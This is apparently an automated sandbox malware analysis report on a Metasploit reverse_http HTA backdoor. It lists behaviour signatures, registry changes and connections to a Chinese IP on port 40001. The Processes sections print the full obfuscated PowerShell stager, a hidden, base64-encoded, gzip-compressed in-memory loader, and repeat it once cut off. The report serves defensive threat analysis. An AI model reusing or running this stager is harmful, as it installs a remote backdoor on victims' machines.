Malware Analysis Report

2024-09-23 03:54

Sample ID 240530-e64k8afg32
Target reverse_http.hta
SHA256 b5cc3f9c8d9b898d00c5c93761058c7b7dd91c1921f8dc1358ccc1c3bced6004
Tags
metasploit backdoor execution trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b5cc3f9c8d9b898d00c5c93761058c7b7dd91c1921f8dc1358ccc1c3bced6004

Threat Level: Known bad

The file reverse_http.hta was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor execution trojan

MetaSploit

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-30 04:34

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-30 04:34

Reported

2024-05-30 04:36

Platform

win7-20240419-en

Max time kernel

143s

Max time network

149s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_http.hta"

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_http.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATABzAE0AMQB7ADEAfQBVAEMAQQA3AFYAWABlAFkALwBhAFMAaABMAC8ALwAwAG4AdgBPADEAaABQAFMAQgBpAEYANABaADUASgBpAEIAUgBwAGIAYwBBAGMAdwBlAGIAdwBoAGUARwBoAFYAVwBNADMAZAB7ADIAfQBQADcAaQBOADMAbQB5AE4AdgAzADMAYgBlAGEAWQB7ADEAfQBhAGkAVABIAGEAegBLADYAVQBsAGkAegA2AHEAcQBxAHQAKwBkAFQAWABiAFAASABJAFoAaQBTAE0AaABqAE4AOAByAHcAbAArAC8ALwB5AGIAYwB4AGgAUwBsAEsAQgBUAEUAUQBwAGcALwBmAGkAewAyAH0ATABoAGYAeQBjAEwASgB1AGwAbAArAFAAQwAzAGgASQArAEMAZQBKACcAJwArACcAJwBLAFMAcABKAHUASABDAEkAUwByAFQAOQArADcATwBSAHAAaQBpAE4AewAxAH0AWABWAGYANgBtAEUAbABaAGgAcwBNAE4ASgBUAGcAVABTADgASwAvAEIARAB2AEEASwBYADYAWQBiAEgAYgBZAFoAYwBKAGYAUQB1AEcAZgBsAFQANgBOAE4ANABqAGUAeQBNADQAZAA1AEEAWgBZAGUASgBBAGkAagA1ACsATgBZAHgAZAB4AHoAUwBwADYAUQBnAHsAMgB9AFQAaQAzAC8AKwBXAFMAeQB0AEgAdQByAHIAUwB1ADkATABqAG0AZwBtAEYAdgBWAHoAeABuAEIAWQA4AFMAZwB0AGwAbwBTAC8AJwAnACsAJwAnAFMALwB4AEMANAA1AHgAZwBzAGEAZwBTAE4ANAB7ADEAfQB6AGUATQBzAHEATgBvAG0AYQBqAFkAbwBaAFoAVwBpAEwATgBaAEIAewAxAH0AdwBDAHAAbQBRAGUAeABsAFIAVABEAGwAeABaACcAJwArACcAJwBnAFUAcwB6AHkATgB1AEUAMQBjAHkASgBWAEUATABNAEoAMABtAHMAYQB1ADUASAB7ADIAfQBwAHoAcgBKAGkAVwBWAGgAeAA4AGEAdgAxACsAaAAvAGkANgBuAGIAMwBQAEkAOABZAEMAWABGAGwARwBEAEcAYwB4AG8AbQBPADAAdwBOAHgAYwBWAFkAWgBvAE0AaQBqAGUASQA2ADMAYQArAEQAUwBXAFUAbwBpAGYAMQAwAHEAQQBkAHsAMgB9AGgAMwBtAE8AeABFAE8AVwBVAGwAbwBYAC8AUgBZAHkAbwA0AGUATQBkAHUAWgA5AGwARQBsADgAegBBAGQAVwBVAHAAYQBVAHkAZQBQAFEANwBLADkAJwAnACsAJwAnAFgAWQB5AHkAbQArADgAaABYAGYAVQBQAE0AUwBBAHkAVQBZAHoAMwBFAEEANgBQADMATgBBAGQAegBlAG8AeQBkAFIANQBzADQAYgAwAGYATwB5AGMAUgArAHIAeQB3AHsAMgB9AEcAbABjAFYAcABuAEoARQBMADgAeQBlAGgAVgBoAFoAVQB1AEIANgB4AE8ARAAzAEQAcwBtAEMAewAyAH0ATwBTADYAdABuAHcARwBIAGEANwA4AG0AagBVADMANQBaADgAWABWADcANwB6AEEAaQBaAFkANQA3AEsAeQBzAG0ASABqAHIARgAvADUAdgAzAEYAOQBJAHAAaQBHAG4AKwBYAEUAcwBkAC8ARwBXAFIATABoADcAagBsAEIASQAzAEgAdQA0AGkAbQA4ADUAQgBXADgAcAB2AHsAMgB9AEIAUwB1AFoATgBwAG8ASgA5AFkAJwAnACsAJwAnAHYAQgAxAGcAcgA0AHMAcAA5AGgASABqAFEAUABQAFkAKwBJADYAdABGAHgATAB7ADEAfQB6AEMAdgBuAGgASABvADQAbABWAHgAdwBiAEEAWgBhAGcAYwA5AEwAMwB5AHAAegA5AFoAMQBZAEgARQBZAHEARABnAEcAOQA2AHgAcQBDAHQAYgBDAEYASgBNAEYAMwA2AGwAdABpAG4ATwArADMAOAB6AFUAUQBGAFQAcwBVAFoAVgBsAFoAbQBPAGEAUQBwAFcANQBaADAARABHAGkAewAxAH0AQwBzAEwAVQBwAFMAUgB7ADEAfQA1AEcAVQBzAC8AZwB5AEwAYgA2AG8AcQArAGEAVQBFAFIAZABsADcAQwA1AHUAWABmAG8AVwB6AGQAdQB0AG4AVABqAEsAVwBKAHEANwA0AEYAWgBBAHcATgBBAFQANwBCAEoARQBPAFMAQgBsAFkAVQBBADgATABKADkAMQAnACcAKwAnACcANAB0ADkAdgBMADcANABKAFIAdwBkAFIAQwB0AHsAMgB9AEQAewAyAH0AZwA3AGcARAB0AGoAaABNAE8AaQBNAEIAMAB2AHEAbABXACsAQgBVAGEAcgBvAG0AQQAzAEQAaABPAEkAUQBpAEMANQBWAFEANgBIAEkAaAB4AHAAeABTADUASgBMAGUAQwBFAGYAZQA4AFcAMwBGAGIAMABuAHcAegBYAHkATwBUAEIAMwBSAEYANgBwAEMAZAA3AFcAYQBjAHoASwBnAHsAMgB9AFYAUwBCAGkAJwAnACsAJwAnAFcASQBnAHcAegBSADkAZgA4AHAAOABYADMAeAA0AGQAcAAwAFUAbgB4AHoAagBuAGgAUABzAFoAVgA4AFoAagB3AEgAQwB1AGgAdwA0AHsAMgB9ACcAJwArACcAJwBGADYAZwArAGcAQwBTAE0AbwBBAEQAQwBXAE4AUQB4AGwAbAArAEsAbAAxAEwAVABUAGkASAA5AFUASgBtAFUAbwB3AG4ATwAnACcAKwAnACcANQBBAEoAOQBqAGEAewAyAH0ALwByAHcAQwBKADgASwBuADkAbAA5ADcAMwAwAGUANwBRAFoAJwAnACsAJwAnAFYAJwAnACsAJwAnADAAaAB6AEcAcQB0AHYASgBwAG4AMwBsAGcAMABTAE8ALwB0AEgAOQBvAEUAbQB1AE4ALwBKAHcAVwA3AGQAYQBUAE8AOABOAFcAVwBjAHEARABXAGEAewAyAH0ASgByAGMAQwBWADYANABaAGYARgA3ADMAZgBWAE0AYQBHAEsAVABtAE8ANABGAEwAYQA5AFAAdQBvAEsAbwA3AFcAWQAwAGMAQgB6AGEAWABkAFoAWABoAHQAbABxAEQAUgBVADEAcQBOAGwAdQBUAFoAbQAwAFAANgBEAG4AJwAnACsAJwAnAEEAdAA1AGMAOABMAFMAVABIADAAeABqAG0AJwAnACsAJwAnAFUARgBFAG4AWQAzAG0AWQB5AGIAVQBoADcAWQAwADYAOAA0ADMAZABVAEoAWQB7ADEAfQBIAFYAUgBiAFMAcgBDADEANAAwAHgALwBjAHIAcgBWAGEAcgBYAHQAbwBmADQAagA5AFMAUQA1ADkAaABvADAAUgA5AFkAOABOAGcAWgB1AEsARgBlAHIAbAB1AG8AeAB3ADYAeAByAGgAdgB7ADIAfQB1AG0ASABNADcARABiAHYAOQBoAE8AeABUADUAdQBnAGYANgB1AE8AZAA1AEgAOQBXAHYARwBRAFQAegBnADkAZQBVAC8AVQBOAE8AdgBOAFYAUQA4AHIAVgBiAHUAWgBiAEkARQBmAGIAegBkADQAUABCADMANQBEAGcANwBVAGIAJwAnACsAJwAnAE8AVQA5AHcAOQBnAGcAOAB5AGIARABuAFUAYQBmAEIARAB1AE8AdgB3AHkAUABzADgAZQA4ADAANwBDADAAVABOADcAVABDAFQAZABNAC8AcQBFAGEAdgBCAFgAUQBTADYAaQBZAHsAMQB9AFIAdAB0AHEAMwBkAEkATQA1AEkATQBPAGoAVQBDAE8AUQBJAGUAbgBTAFkAdQByAGMAcABqAFgAbAAxAHQAbgBzAFoAeABnACsAOQBGAEcANABjAG4AQwB5AHQASwBaAG0AMwBWAGQAcAB6AFIAYwBOAGwAagBUAGkAQgBUAGkAbQBHADEAVABqAFoAegBIAFIAWAAxAHAAegBSAHEAYQBvAFgAOABOAGQAbQA1AGYAQwA3AFgAZAB2AHEAVQAxAGcANQBOAEwAbABZAEYAdQB0AFUAMQBYAFUAZABEAE0AVgBGAHEAYgBwAHYAWQAwAHsAMQB9ADQALwBNAGoAYgBFAGMATABoAGYATABlAEwAWQBQAEQAcQBqAG0ATwBmAE4AKwBXADUAMQBGADgAWABIAGUAUwBHAHgAbgBGADUAaQBPADMAVgA1ADQAVABUAGwARABaAHEAQwBnAGIAcgBDAGQATABLAHoANQB2AEIAWgBZAEcAMwBzAHYAbQBmADEAZwBRAFoAYgBWAGYAcgBWAHQAagAnACcAKwAnACcAMAA1AFUAaQB5AFYAcABGAEEAYwBLADYARgAvADMARABDAHYAYwBwAFoAYgBlAGUAZwA5AG4ATgB2AEsAVAA3AFEAWABiACsAagBJAGUAegB4AHcASABBADkANwBnAC8ANwByAFMAJwAnACsAJwAnAEoAOABQAGUARQBlAHoAdgBHAFUAYwBOAGQANgB0ADEAcwAxADEAdgA0AFcARABFAGoAVQBaADcATwBaAFoAewAyAH0AbQBQAFIAOQBTAGUAcABKAEUAbQBEAGkASgBNAHEAVQBnAGoAeQBRAE0AeAB7ADIAfQA5ADEAcgAxAFkANgBzAEMANQBvAHQAbABJAC8AbQB3AFQAUABLADcAJwAnACsAJwAnAFcAbgBZAFgAewAyAH0AcQBlAC8ARwA4AG4ASABRADUAZgBJAGYAcgBWADEAJwAnACsAJwAnADMAOABTADYAbwA4AHEASABxAHIAWgBQAFcAYQBaAHsAMQB9ADEAcgBwAHUAcgBoAG4ATwBXAHgAbwBjAGoAUQB5AFAAUQBUAFQAYQBxAGIAZgBQAFQASAA1AEEAYgBLADUATgBFAHIATgBsAFkARgA1AEoAdwBTAGIAdQA4AGgAZgB6ACsAVwB5AEgAbwBMADgAYQB2AGMAdQBSAEgASABWAEoARgBhAFIAWQBnAEMAcgB7ADIAfQBEAHoAZQA5AGUAdwBwAFEANABWAFcANwBkAGIAQgBvAFQAegBpAEcASwBsAHoAZgBSAEgAcQBjAFIAcAB2AEMATQBnAEkAZgBHAFAAZgBVAGwAUwBtAE8AWABOADkATgBMADMANABOAEcAZgBtAHsAMQB9AHYAJwAnACsAJwAnAHYATgB1AGIAdwA0AHQAZQBiADgAMQBLAHcAagBOAGgANgBhAFgATgAzAHIAYwArAGYAbAB5AEMAbAByAHkAbQBIAEUANgBWAE0AWQA1ADgARgBwAFIAcgBwAHsAMQB9AGEAdABCAHMAewAxAH0AeABkAHEAcQAxAEwAewAyAH0AWABqADUAMAAzAHIAeABNAGwAWgA1AEwATABLAHYATAB0AGUAbwBMAG4ASgBwAGgAZgBaAEkASQA1AHMAQgBWAEgAOAA5AFcARABCAEkANABwAEIATgBmADgAeABYAEQAOQBDAEQAdQA3AGUAUQAvAEcARgBiAG4AQwB0AGkAQgB3AC8ATwBZADcAcABhAC8AUgB1AGgAagB7ADEAfQBIAHcAeQB2AHcAQQBMAFUANgBtAEwANwBpADcANgBkAHIAbQBJAEMARQBCAC8AeABGAEsARABEACsAdgAnACcAKwAnACcASABqADkAWABDAGwAewAyAH0AVABGAFoALwBiAGUAVABjAFMAbgAnACcAKwAnACcAcwBBAFAAOQA1AC8AaQA1AHkAWAB2AGYAOQB3ACsAbABQAFIAVgBDAHQAZgBBAGYAcAB1ACsAOQB1AE4AVgAxADMAeABGADAASgBnAEkAOABLAEEAVQBvAGMAbQBSAGYASAAxADMAZgBRAHsAMQB9AEUAcgBkADAAZQBlAFYAbAA3AGgALwBJAGgAdQAxAHQAOABIADgAVAB7ACcAJwArACcAJwAyAH0ANQB3ADkAYQBQAEIAQwB2AGYAVABKAGYAdwBQAEcAeABTAGcALwB4AHcAdwBBAEEAQQB7ADAAfQB7ADAAfQAnACcAKQAtAGYAJwAnAD0AJwAnACwAJwAnADIAJwAnACwAJwAnAGsAJwAnACkAKQApACkALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIALsM1{1}UCA7VXeY/aShL//0nvO1hPSBiF4Z5JiBRpbcAcwebwheGhVWM3d{2}P7iN3myNv33beaY{1}aiTHazK6Uliz6qqqt+dTXbPHIZiSMhjN8rwl+//ybcxhSlKBTEQpg/fi{2}LhfycLJull+PC3hI+CeJ'+'KSpJuHCISrT9+7ORpiiN{1}XVf6mElZhsMNJTgTS8K/BDvAKX6YbHbYZcJfQuGflT6NN4jeyM4d5AZYeJAij5+NYxdxzSp6Qg{2}Ti3/+WSytHurrSu9LjmgmFvVzxnBY8SgtloS/'+'S/xC45xgsagSN4{1}zeMsqNomajYoZZWiLNZB{1}wCpmQexlRTDlxZ'+'gUszyNuE1cyJVELMJ0msau5H{2}pzrJiWVhx8av1+h/i6nb3PI8YCXFlGDGcxomO0wNxcVYZoMijeI63a+DSWUoif10qAd{2}h3mOxEOWUloX/RYyo4eMduZ9lEl8zAdWUpaUyePQ7K9'+'XYyym+8hXfUPMSAyUYz3EA6P3NAdzeoydR5s4b0fOycR+ryw{2}GlcVpnJEL8yehVhZUuB6xOD3DsmC{2}OS6tnwGHa78mjU35Z8XV77zAiZY57KysmHjrF/5v3F9IpiGn+XEsd/GWRLh7jlBI3Hu4im85BW8pv{2}BSuZNpoJ9Y'+'vB1gr4sp9hHjQPPY+I6tFxL{1}zCvnhHo4lVxwbAZagc9L3ypz9Z1YHEYqDgG96xqCtbCFJMF36ltinO+38zUQFTsUZVlZmOaQpW5Z0DGi{1}CsLUpSR{1}5GUs/gyLb6oq+aUERdl7C5uXfoWzdutnTjKWJq74FZAwNAT7BJEOSBlYUA8LJ91'+'4t9vL74JRwdRCt{2}D{2}g7gDtjhMOiMB0vqlW+BUaromA3DhOIQiC5VQ6HIhxpxS5JLeCEfe8W3Fb0nwzXyOTB3RF6pCd7WaczKg{2}VSBi'+'WIgwzR9f8p8X3x4dp0UnxzjnhPsZV8ZjwHCuhw4{2}'+'F6g+gCSMoADCWNQxll+Kl1LTTiH9UJmUownO'+'5AJ9ja{2}/rwCJ8Kn9l9730e7QZ'+'V'+'0hzGqtvJpn3lg0SO/tH9oEmuN/JwW7daTO8NWWcqDWa{2}JrcCV64ZfF73fVMaGKTmO4FLa9PuoKo7WY0cBzaXdZXhtlqDRU1qNluTZm0P6Dn'+'At5c8LSTH0xjm'+'UFEnY3mYybUh7Y06843dUJY{1}HVRbSrC140x/crrVarXtof4j9SQ59ho0R9Y8NgZuKFerluoxw6xrhv{2}umHM7Dbv9hOxT5ugf6uOd5H9WvGQTzg9eU/UNOvNVQ8rVbuZbIEfbzd4PB35Dg7Ub'+'OU9w9gg8ybDnUafBDuOvwyPs8e807C0TN7TCTdM/qEavBXQS6iY{1}Rttq3dIM5IMOjUCOQIenSYurcpjXl1tnsZxg+9FG4cnCytKZm3VdpzRcNljTiBTimG1TjZzHRX1pzRqaoX8Ndm5fC7XdvqU1g5NLlYFutU1XUdDMVFqbpvY0{1}4/MjbEcLhfLeLYPDqjmOfN+W51F8XHeSGxnF5iO3V54TTlDZqCgbrCdLKz5vBZYG3svmf1gQZbVfrVtj'+'05UiyVpFAcK6F/3DCvcpZbeeg9nNvKT7QXb+jIezxwHA97g/7rS'+'J8PeEezvGUcNd6t1s11v4WDEjUZ7OZZ{2}mPR9SepJEmDiJMqUgjyQMx{2}91r1Y6sC5otlI/mwTPK7'+'WnYX{2}qe/G8nHQ5fIfrV1'+'38S6o8qHqrZPWaZ{1}1rpurhnOWxocjQyPQTTaqbfPTH5AbK5NErNlYF5JwSbu8hfz+WyHoL8avcuRHHVJFaRYgCr{2}Dze9ewpQ4VW7dbBoTziGKlzfRHqcRpvCMgIfGPfUlSmOXN9NL34NGfm{1}v'+'vNubw4teb81KwjNh6aXN3rc+flyClrymHE6VMY58FpRrp{1}atBs{1}xdqq1L{2}Xj503rxMlZ5LLKvLteoLnJphfZII5sBVH89WDBI4pBNf8xXD9CDu7eQ/GFbnCtiBw/OY7pa/Ruhj{1}HwyvwALU6mL7i76drmICEB/xFKDD+v'+'Hj9XCl{2}TFZ/beTcSn'+'sAP95/i5yXvf9w+lPRVCtfAfpu+9uNV13xF0JgI8KAUocmRfH13fQ{1}Erd0eeVl7h/Ihu1t8H8T{'+'2}5w9aPBCvfTJfwPGxSg/xwwAAA{0}{0}')-f'=','2','k')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

Network

Country Destination Domain Proto
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 2289953367eeff2324dd436c95924927
SHA1 5bf2b0bd47cac3b8adee7ba8c05d13b8756ea39d
SHA256 27760e55e20e970ef1fd63093c23fcda748ac52bb3f8079f0023172551ed1643
SHA512 1abd75b8e656917aa5024f90a903a57669829858eae49edfbc3404d78a33ec0df1b020fb1b3a55638ee2a5e4bebc1153c9ed02f072e02126e6ef4713453ffe33

memory/2688-7-0x0000000002B60000-0x0000000002B61000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 04:34

Reported

2024-05-30 04:36

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

154s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_http.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\reverse_http.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATABzAE0AMQB7ADEAfQBVAEMAQQA3AFYAWABlAFkALwBhAFMAaABMAC8ALwAwAG4AdgBPADEAaABQAFMAQgBpAEYANABaADUASgBpAEIAUgBwAGIAYwBBAGMAdwBlAGIAdwBoAGUARwBoAFYAVwBNADMAZAB7ADIAfQBQADcAaQBOADMAbQB5AE4AdgAzADMAYgBlAGEAWQB7ADEAfQBhAGkAVABIAGEAegBLADYAVQBsAGkAegA2AHEAcQBxAHQAKwBkAFQAWABiAFAASABJAFoAaQBTAE0AaABqAE4AOAByAHcAbAArAC8ALwB5AGIAYwB4AGgAUwBsAEsAQgBUAEUAUQBwAGcALwBmAGkAewAyAH0ATABoAGYAeQBjAEwASgB1AGwAbAArAFAAQwAzAGgASQArAEMAZQBKACcAJwArACcAJwBLAFMAcABKAHUASABDAEkAUwByAFQAOQArADcATwBSAHAAaQBpAE4AewAxAH0AWABWAGYANgBtAEUAbABaAGgAcwBNAE4ASgBUAGcAVABTADgASwAvAEIARAB2AEEASwBYADYAWQBiAEgAYgBZAFoAYwBKAGYAUQB1AEcAZgBsAFQANgBOAE4ANABqAGUAeQBNADQAZAA1AEEAWgBZAGUASgBBAGkAagA1ACsATgBZAHgAZAB4AHoAUwBwADYAUQBnAHsAMgB9AFQAaQAzAC8AKwBXAFMAeQB0AEgAdQByAHIAUwB1ADkATABqAG0AZwBtAEYAdgBWAHoAeABuAEIAWQA4AFMAZwB0AGwAbwBTAC8AJwAnACsAJwAnAFMALwB4AEMANAA1AHgAZwBzAGEAZwBTAE4ANAB7ADEAfQB6AGUATQBzAHEATgBvAG0AYQBqAFkAbwBaAFoAVwBpAEwATgBaAEIAewAxAH0AdwBDAHAAbQBRAGUAeABsAFIAVABEAGwAeABaACcAJwArACcAJwBnAFUAcwB6AHkATgB1AEUAMQBjAHkASgBWAEUATABNAEoAMABtAHMAYQB1ADUASAB7ADIAfQBwAHoAcgBKAGkAVwBWAGgAeAA4AGEAdgAxACsAaAAvAGkANgBuAGIAMwBQAEkAOABZAEMAWABGAGwARwBEAEcAYwB4AG8AbQBPADAAdwBOAHgAYwBWAFkAWgBvAE0AaQBqAGUASQA2ADMAYQArAEQAUwBXAFUAbwBpAGYAMQAwAHEAQQBkAHsAMgB9AGgAMwBtAE8AeABFAE8AVwBVAGwAbwBYAC8AUgBZAHkAbwA0AGUATQBkAHUAWgA5AGwARQBsADgAegBBAGQAVwBVAHAAYQBVAHkAZQBQAFEANwBLADkAJwAnACsAJwAnAFgAWQB5AHkAbQArADgAaABYAGYAVQBQAE0AUwBBAHkAVQBZAHoAMwBFAEEANgBQADMATgBBAGQAegBlAG8AeQBkAFIANQBzADQAYgAwAGYATwB5AGMAUgArAHIAeQB3AHsAMgB9AEcAbABjAFYAcABuAEoARQBMADgAeQBlAGgAVgBoAFoAVQB1AEIANgB4AE8ARAAzAEQAcwBtAEMAewAyAH0ATwBTADYAdABuAHcARwBIAGEANwA4AG0AagBVADMANQBaADgAWABWADcANwB6AEEAaQBaAFkANQA3AEsAeQBzAG0ASABqAHIARgAvADUAdgAzAEYAOQBJAHAAaQBHAG4AKwBYAEUAcwBkAC8ARwBXAFIATABoADcAagBsAEIASQAzAEgAdQA0AGkAbQA4ADUAQgBXADgAcAB2AHsAMgB9AEIAUwB1AFoATgBwAG8ASgA5AFkAJwAnACsAJwAnAHYAQgAxAGcAcgA0